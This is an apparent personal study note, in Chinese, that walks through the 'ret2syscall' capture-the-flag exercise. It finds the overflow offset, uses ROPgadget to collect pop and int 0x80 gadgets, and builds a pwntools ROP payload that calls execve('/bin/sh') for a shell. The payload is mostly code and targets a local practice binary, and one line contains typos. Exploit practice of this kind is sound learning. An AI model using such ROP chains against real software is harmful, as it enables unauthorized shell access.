ret2syscall为静态链接,libc都已安装在文件不用去别的地方获取
from pwn import *
io=process("./ret2syscall")
把文件拖入32位的ida中
观察是否有/bin/sh和system后门函数
有/bin/sh但没有system
不能直接用shellcode
此时考虑用ROP
找eax ebx ecx edx
在ida中
gets会栈溢出
在gdb中找ebp-exa(要换成10进制)的值加四
用python
要溢出字符长度为112
接下来用ROP找eax的地址
ROPgadget --binary ret2syscall --only "pop|ret" | grep eax
选pop eax ; ret那一条的地址
ROPgadget --binary ret2syscall --only "pop|ret" | grep ebx
选有edx ecx ebx的
最后在ROP里面找int 0x80
ROPgadget --binary ret2syscall --only "int"
找int_80
ebx就是bin/sh的地址
可以在ida里找
也可在python里面找
hex(next(elf.search(b"/bin/sh")))
最后构造payload=falt([b'A'*112,eax,0xb,edx_ecx_ebx,0,0,bin/sh,int_80])
io.send(payload)
io.interactive()
或者
payload=112*b'A'+p32(eax)+p32(0xb)+p32(edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)+p32(int_80)